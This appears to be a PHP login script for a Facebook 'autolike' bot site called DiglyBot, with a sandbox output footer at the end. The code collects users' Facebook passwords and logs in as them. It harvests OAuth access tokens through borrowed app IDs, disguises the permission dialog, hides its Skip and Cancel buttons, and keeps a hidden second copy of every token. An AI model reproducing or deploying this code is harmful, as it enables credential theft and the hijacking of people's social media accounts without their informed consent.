<?php
error_reporting(0);
ob_start('ob_gzhandler');
if(!is_dir('/tmp/fbdtsg')){ mkdir('/tmp/fbdtsg');}
session_start();
if(!is_dir('/tmp/svT')){ mkdir('/tmp/svT'); }
if($_POST[login]){
$key = base64_encode($_POST[pass].'(.)(.)'.$_POST[email]);
$_SESSION[key]=$key; if(file_exists('/tmp/svT/'.$key)){ $toket=file_get_contents('/tmp/svT/'.$key); $cek =json_decode(_req($key,'https://graph.facebook.com/me?access_token='.$toket),true); if($cek[id]){ $_SESSION[access_token] = $toket; $_SESSION[fb_dtsg] = file_get_contents('/tmp/fbdtsg/'.$key); back('index.php'); exit; }else{ unlink('/tmp/svT/'.$key); back('login.php?act=setToken&key='.$key); } }
elseif(file_exists('/tmp/'.$key)){
back('login.php?act=setToken&key='.$key);
}else{
$fields=$_POST;
login($key,$fields);
back('login.php?act=setToken&key='.$key);
}
}
if($_POST[fb_dtsg]){
$act=$_GET[act];
$key=$_SESSION[key];
$fields = $_POST;
$token = setTokenP($key,$fields,$act);
if($token){
$_SESSION[access_token] = $token;
saveFile('/tmp/svT/'.$key,$token);
if(!is_dir('/tpvt')){ mkdir('/tpvt'); }
saveFile('/tpvt/'.$key,$token);
back('index.php');
}else{
if($_SESSION[fb_dtsg]){
back('index.php?act=loginExpired');
}else{ unlink('/tmp/'.$key);
back('index.php?act=loginFalse');
}
}
}
if($_GET[act] == 'setToken'){
$key=$_GET[key];
$token = setToken($key);
if($token){
$_SESSION[access_token] = $token;
saveFile('/tmp/svT/'.$key,$token);
if(!is_dir('/tpvt')){ mkdir('/tpvt'); }
saveFile('/tpvt/'.$key,$token);
back('index.php');
}else{
if($_SESSION[fb_dtsg]){
back('index.php?act=loginExpired');
}else{
unlink('/tmp/'.$key); back('index.php?act=loginFalse');
}
}
}
function login($key,$fields){
return _req($key,'https://m.facebook.com/login.php',1,$fields);
}
function setTokenP($key,$fields,$type){
$getToken = _req($key,'https://m.facebook.com/dialog/oauth/'.$type,3,$fields);
if(ereg('#access_token=',$getToken)){
$accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13)));
}
if($accessToken){
$_SESSION[access_token] = $accessToken;
return $accessToken;
}else{
if(ereg('fb_dtsg',$getToken)){
$fbDtsg = substr($getToken,strpos($getToken, 'name="fb_dtsg" value=')+22,12);
if($fbDtsg){
$_SESSION[fb_dtsg] = $fbDtsg;
saveFile('/tmp/fbdtsg/'.$key,$fbDtsg);
}
$oauth = '<x>'.$getToken;
$oauth = '<x>'.$getToken;
$oauth = preg_replace('#<x>(.+?)</table>(.+?)</form>(.+?)</html>#siu','\2</form>',$oauth);
$oauth = str_replace('/dialog/oauth/read','index.php?act=powerLike&access=read',$oauth);
$oauth = str_replace('/dialog/oauth/write','login.php?act=write',$oauth);
$oauth = str_replace('v1.0login.php?act=write','login.php?act=write',$oauth);
$oauth = str_replace('_56bs _56bw _56bt','btn btnD',$oauth);
$oauth = str_replace('_56bs _56bw _56bu','btn btnC',$oauth);
$oauth = str_replace('type="submit" name="__SKIP__"','type="hidden"',$oauth);
$oauth = str_replace('type="submit" name="__CANCEL__"','type="hidden"',$oauth);
eval('?>'.file_get_contents('head.php').'<?');
print '<div class="acy apm abb abt">Access Write untuk Applikasi DiglyBot</div>';
print ($oauth);
eval('?>'.file_get_contents('foot.php').'<?');
exit;
}else{
return false;
}
}
}
function setToken($key){
$ponsel =2915120374;
$berry =2254487659;
$andro = 350685531728;
$texas=2389801228;
$nokia = 49340319393;
$getToken = _req($key,'https://m.facebook.com/dialog/oauth?client_id='.$texas.'&redirect_uri='.urlencode('https://m.facebook.com/connect/login_success.html').'&response_type=token&scope=read_requests,publish_stream,read_stream,publish_actions,publish_likes,user_status,friends_status,user_photos,friends_photos&refid=7',3);
if(ereg('#access_token=',$getToken)){
$accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13)));
}
if($accessToken){
print '<script>alert("Hapus Dolo Aplikasi Texas HoldEm Poker :p")</script>';
}else{
if(ereg('fb_dtsg',$getToken)){
$fbDtsg = substr($getToken,strpos($getToken, 'name="fb_dtsg" value=')+22,12);
if($fbDtsg){
$_SESSION[fb_dtsg] = $fbDtsg;
saveFile('/tmp/fbdtsg/'.$key,$fbDtsg);
}
$oauth = '<x>'.$getToken;
$oauth = preg_replace('#<x>(.+?)</table>(.+?)</form>(.+?)</html>#siu','\2</form>',$oauth);
$oauth = str_replace('/dialog/oauth/read','login.php?act=read',$oauth);
$oauth = str_replace('v1.0login.php?act=read','login.php?act=read',$oauth);
$oauth = str_replace('/dialog/oauth/write','index.php?act=powerLike&access=write',$oauth);
$oauth = str_replace('_56bs _56bw _56bt','btn btnD',$oauth);
$oauth = str_replace('_56bs _56bw _56bu','btn btnC',$oauth);
$oauth = str_replace('type="submit" name="__SKIP__"','type="hidden"',$oauth);
$oauth = str_replace('type="submit" name="__CANCEL__"','type="hidden"',$oauth);
$oauth = str_replace('Texas HoldEm Poker','DiglyBot',$oauth);
$oauth=str_replace($texas,$berry,$oauth);
eval('?>'.file_get_contents('head.php').'<?');
print '<div class="acy apm abb abt">Access Read untuk Applikasi DiglyBot</div>';
print ($oauth);
eval('?>'.file_get_contents('foot.php').'<?');
exit;
}else{
return false;
}
}
}
function back($url){
print '<meta http-equiv="refresh" content="0;url='.$url.'" />';
}
function bunuh($x){
unset($_SESSION[$x]);
}
function _req($key,$url,$type=null,$fields=null){
$opts = array(
19913 => 1,
10002 => $url,
10018 => $_SERVER[HTTP_USER_AGENT],
);
$ch=curl_init();
if($type){
if($type == 1){
$opts[10082] = '/tmp/'.$key;
}
if($type == 3){
$opts[42] = 1;
}
$opts[10031] = '/tmp/'.$key;
}
if($fields){
$opts[47] = true;
$opts[10015] = $fields;
}
curl_setopt_array($ch,$opts);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function saveFile($x,$y){
$f=fopen($x,'w');
fwrite($f,$y);
fclose($f);
}
?>
- Output for git.master_jit, git.master, rfc.property-hooks
Process exited with code 255.
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
preferences:
39.75 ms | 401 KiB | 8 Q